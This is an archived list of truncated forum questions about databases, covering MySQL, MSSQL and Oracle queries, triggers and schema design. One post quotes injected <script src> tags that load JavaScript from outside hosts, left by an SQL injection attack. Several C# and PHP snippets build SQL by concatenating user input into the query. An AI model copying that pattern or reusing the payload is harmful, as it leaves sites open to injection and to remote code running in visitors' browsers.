7,494 Archived Topics
Remove Filter  | |
| | I have a problem with updating records in a database table. Background: The user can fetch data that belongs with an image. The data is displayed in a form. In this form the user can add/change data and then save this to the database. This part works fine. My next … Databases mssql |
| | |
| | Hello i am designing a project which is intended to store the values entered in a browser into database. Finding some difficulties in displaying the database contents on browser. Below i am posting my entire code. The data i enter in browser are getting inserted into the database. I checked … Databases xml |
| | Hello! I have a problem which I don't know if it is related to MySQL or Python. I am writing a database using wx.Python and MySQLdb. My problem is that when I want to send some string which contains accents to the MySQL database (for instance, 'Empordà ') it is inserted … |
| | After close to 40 years of programming one might think that databases would be a well known subject, but it's not for me. In fact I have never had a need for a database until now. I have installed Joomla because I want to develop my websites faster and more … Databases mysql |
| | i am designing a database for a football league and one of the requirements is Although the match is between two teams, it is common that many players are named in the team but they do not actually participate in that match when it takes place. reserved players and can … Databases |
| | hi all, I am very new to rdbms. I am using window7 os. how can i use sql in my system (sql *plus oracle). please help me where i can download this and all the pre-requisites for using it in my laptop. thanks in advance. |
| | hi now a days im doig sql n im using oracle 9i for this. now a days my instructor teaching me about select command but im not able to use it on oracle 9i because i didn't create anything, so please can any body tell me that am i going … Databases oracle  |
| | Hi Experts, I have a website which is hosted in Bluehost. I would like to access my Mysql database from remote without using browser. Is there any tool to access my Mysql database something like Filezilla? Thanks in advance, Manim |
| | I was told on another forum that my table was not set up properly. Specifically, two of my columns, "keywords" and "catagory" should be in child tables. I just dont see that, or I dont understand why I would need to do this for these columns. here is my info … Databases mysql |
| | hey, i want to create trigger on delete operation of table say t1...and i want to delete entries from another table say t2 which are related to removed entry in t1....so i tried to create another trigger on delete operation of t2 to store entries from t2.. here is the … |
| | Hello, i have created two tables account1 and log_table and tried to create trigger as follows:: create or replace trigger acc_history after update of balance ON account1 for each row begin insert into log_table values(:old.c_name,:old.balance,:old.acc_no,:new.balance,timestamp); end; but its giving errors such as:: SQL> show errors; Errors for TRIGGER ACC_HISTORY: LINE/COL … |
| | i have a process that runs, but stops after about 3 minutes. It only processes some of the information (65 entries out of 500). i modified the php.ini, thinking this was the case. The process takes data from a mysql database and writes them to a file. register_globals = off … |
| | I have a string that I need to convert to int before updating it in my database, but haven't managed to figure out how it's done. Here's my latest try: [code=c] int iLager = Int32.Parse(TextBoxProdNumberOf.Text); SqlConnection conn = new SqlConnection(config); conn.Open(); string sql = "UPDATE Produkter SET iLager ='" + … Databases mssql |
 | I have a 2 tables that I want to select in a weird way but I'm not sure how to join them, should I use inner join or join left or group by etc... [CODE]//my desired out come employee_id | training_name ---------------------------- 1 | training a | training b | … Databases mysql |
| | Hello, I am designing a database for my school library. 10% of the books in the database are French, and thus have words with accents like Château. My issue is that I'd like the user to search for book by typing Chateau (as it is too difficult to type in … Databases |
| | Is there any way to convert microsoft access database to mysql data. Please help me Databases microsoft-access mysql |
 | Hi all I'm rather perplexed as to how I'm supposed to select rows from a database without having to use 9999 in my limit and I can't seem to find anything on how you specify fetching anything from a certain row onwards. Using this at the moment [CODE=mysql]LIMIT 10, 9999[/CODE] … Databases mysql  |
| | Hello I m not so expert in web design. I need ur help. I have two table. One has a [B]primary key[/B] and other [B]foreign key[/B]. I want that foreign key must be from primary key. other than primary key it will not except any value. I made relationship from … Databases mysql web-design |
| | sir,i i have two date columns today_date and doj_date.both of them are varchar data type.now i want to update today_date='01/06/2010' to '01/04/2010' where doj_date='01/04/2010'.that means only the month column. ihave used the following code update installment_scheme_customer set substring(today_date,4,2)='04' where substring(today_date,4,2)='06' and substring(doj_date,4,2)='04' . but it is showing error like this … Databases microsoft-access sql |
| | |
| | Hi, I have created a MYSQL database and connected to it using Dreamweaver CS3. There is a Master and Detail page and the initial creation works correctly. (not bad for my first attempt!!):cool: The site is for a dog rescue charity and it would be best to be able to … Databases mysql |
| | A commission has been setup to track Customer Service of companies in your country. The customer service commission is responsible for monitoring how well customers are being served. They have delegated your team with the responsibility of implementing a database to h[TEX][/TEX]elp them achieve their tasks. The commission needs to … Databases  |
| | I got a sql injection hack that put this after each description in my database. <script src="http://b.adserv.cn/E/J.JS"></script><script src="http://b.rtbn2.cn/E/J.JS"></script> any idea how to remove it without deleting the descrition? Here is what I have HIM PORTRAIT SHIRT<script src="http://b.adserv.cn/E/J.JS"></script><script src="http://b.rtbn2.cn/E/J.JS"></script> Here is what I need HIM PORTRAIT SHIRT 3000 items / rows … |
| | Hi There, I do have an sql query to update and insert row into database which I use it within a form. Problem is ; This sql query works good in one form but in other one it does not at all(same query different form), looks like it is blocked …  |
| | I have this code that works fine: [code=c] protected void ButtonImgTextToDB_Click(object sender, EventArgs e) { string ID = TextBoxStartPictID.Text; string Rubrik = TextBoxHeadLineStart.Text; string Text = TextBoxTextStart.Text; SqlConnection conn = new SqlConnection(config); conn.Open(); string sql = "UPDATE StartImage SET Headline ='" + Rubrik + "', Text ='" + Text + … Databases mssql |
| | Hi There I do have a form and a little sql query to update the row before do something else. Problem is in the code below works when I enter the date like that= 01-02-2001 but I need to do it dynamic I know getdate() but it does not work.. … Databases mysql |
| | Please if you can sketch a paper and scan it for me with the solution... ABC County Basketball Conference (ACBC) is an amateur basketball association. ACBC has contacted you to create a database that will meet the expected data requirements for its basketball game management program. The ACBC administrator gives … Databases operating-system |
| | Hi: I have a process allowing the admin to view users information and download files that the user uploaded to MySQL. When the admin clicks on the file link in the admin page, I expect the file will display using the default program (i.e. pdf or txt), or download (i.e. … |
| | I'm taking a database class and I am struggling with the basics right now. First of all, I need to know the difference between physical and logical data independence. I have the definitions but it's really not making a lot of sense to me. This is what I have: Logical … Databases |
| | i'm having trouble getting this to work. i want mysql to delete a row where the word 'example' is within a paragraph of a column. e.g. in the column reply.. it has a paragraph with the word 'example' in it. [code]$deletebadreply1= mysql_query("DELETE FROM `Reply` WHERE `reply` LIKE '%example%'") or die … Databases mysql |
| | I have a table in SQL Server with the following structure: DateRated, Parameter, Rating, UserID Sample Data DateRated Parameter Rating UserID 10/01/2010 Flexibility Good User101 10/01/2010 Efficiency Average User101 10/01/2010 Value For Money Below Average User101 I want to create a query that will make it like this: DateRated Flexibility … Databases data-structure mssql sql |
 | [CODE]+--------------+------+------------------------------------+-------+ | ProductCode | Qty | Title | Price | +--------------+------+------------------------------------+-------+ | relationaldb | NULL | The Relational Database Dictionary | 14.99 | | artofsql | 50 | The Art of SQL | 44.99 | | databaseid | 0 | Database in Depth | 29.95 | | mysqlspp | 5 … Databases mysql |
| | Have you ever forgot or lost your SQL Server sa password? Did you hava any ideals to reset your lost sa password? Or choosed to reinstall MS SQL Server on your PC again? I once forgot my SQL sa password and I reinstalled SQL Server at last, because I failed … Databases client-server mssql sql |
| | My database has a list of events, and I'd like to return it sorted by date. However, I'd like to have the past events be forced below more recent events, so I try to do this: ( SELECT name, date FROM events WHERE date >= curdate() ORDER BY date ) … Databases mysql |
| | I have made some tables and created relationship from phpmyadmin. Relationship is as below [IMG]http://img295.imageshack.us/img295/2411/relationship.jpg[/IMG] Problem is that requisition table allow [B]material id[/B] which is not in [B]material table[/B]. what is the problem. How can I solve this. Simply Foreign key can not be such value which is not in … Databases mysql |
| | hi, I have a table called shoutbox, i created it this way: [CODE]CREATE TABLE `shoutbox` ( `id` INT NOT NULL AUTO_INCREMENT , `ip` varchar(20) NOT NULL , `name` varchar(30) NOT NULL , `url` varchar(30) NOT NULL , `message` varchar(50) NOT NULL , `date` date NOT NULL , PRIMARY KEY ( … Databases mysql |
| | Hi, I'm new to VS 2008. And as a uni project, we had to create a doctor surgery databases as a group. However, when one of my group member sent me part of her work and when I tried to open it in my VS 2008, I failed to open … |
| | Aloha, I'm new to database design and have a basic question. I'm writing a customer database. All of the customers can have several contacts. I've created a Customer table, and also a Contacts table. The contacts table stores name, email, phone number, title, etc. However, all of the customers can … Databases database-design |
| | Hi everyone, I have a database with X items, and each of them can have one or more of 20+ properties. How I currently make this work is I have a huge table with each of the properties having it's own column, and a boolean to determine does the property … Databases database-design mysql |
| | Hi All, I am using MySql and wrote all my create table scripts directly on the command line client. Now I have no tracks of them. I need all the table scripts present in my database region for future reference. I used the below command to view the script of … Databases mysql |
| | I've used the code below previously with success, but I'm having problems this time around, and hoped someone could point me in the right direction. I complete the form, click submit, and receive the message confirming data has been added. However, when I look at the database, there's nothing there. … Databases mysql |
| | This is a sql datatype problem Hello I am a junior programmer and new member of this forum I want to ask a question I have these two columns in sql 2000 server trx_date char(8) trx_time char(6) And now, I imported this database to sql 2008 and want to copy … |
| | why i am i getting this synyax error when trying to display data from the database the code for saving the data is [CODE]// save content to db if(isset($_POST["inpContent"])) { $sContent=stripslashes($_POST['inpContent']); // remove slashes (/) $sContent=ereg_replace("'","''",$sContent); // fix SQL $sql="UPDATE cms_core SET editorial='$sContent' WHERE id=$id"; $query = mysql_query($sql); }[/CODE] and … Databases mysql |
| | hi there, I'm having a problem with mysql, php and phpmyadmin 1. MySQL will not start as a Server Service, on Windows XP - when installing goes through process and tells me it cannot start as a service, and then tells me mysqld.exe will close, is there anything I can … |
| | Hi..... There is a problem with the following mysql query create table emp2 (Leave decimal(12,2) default NULL) [B][U]Error message[/U][/B] Error Code: 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Leave decimal(12,2) … Databases mysql |
| | hi i found this thread: [url]http://www.daniweb.com/forums/thread197057.html[/url] will this script backup all databases in the mysql directory? what do you need to backup and restore all mysql databases in xampp? do i just copy and paste the directory to another location everyday or is there a particular way? i know you … Databases mysql  |
| | Hi there, I do have a database and I am using sql command to insert data in it. Date field is set to datetime (03/01/1900 00:00:00) In the field either there is a date only or it is empty. What I want to do is: Insert current+2yrs date even the … Databases mysql |
| | Hi.. I had used the following command to restore a mysql database on command line. mysql -u root -p admin test < D:\backup\test.sql here username-root,password-admin,database-test,backupfile located at-D:\backup\test.sql. It doesnot working..showing error messages..If anybody knows plz help me. Thanks Databases mysql |
| | Hi all, I am looking into buolding a website that would be able to give hotel availaibity + rates over the internet. I am not looking at taking booking from my website. What I am after is building a database that would hold availability for 5 different hotels The DB … Databases |
The End.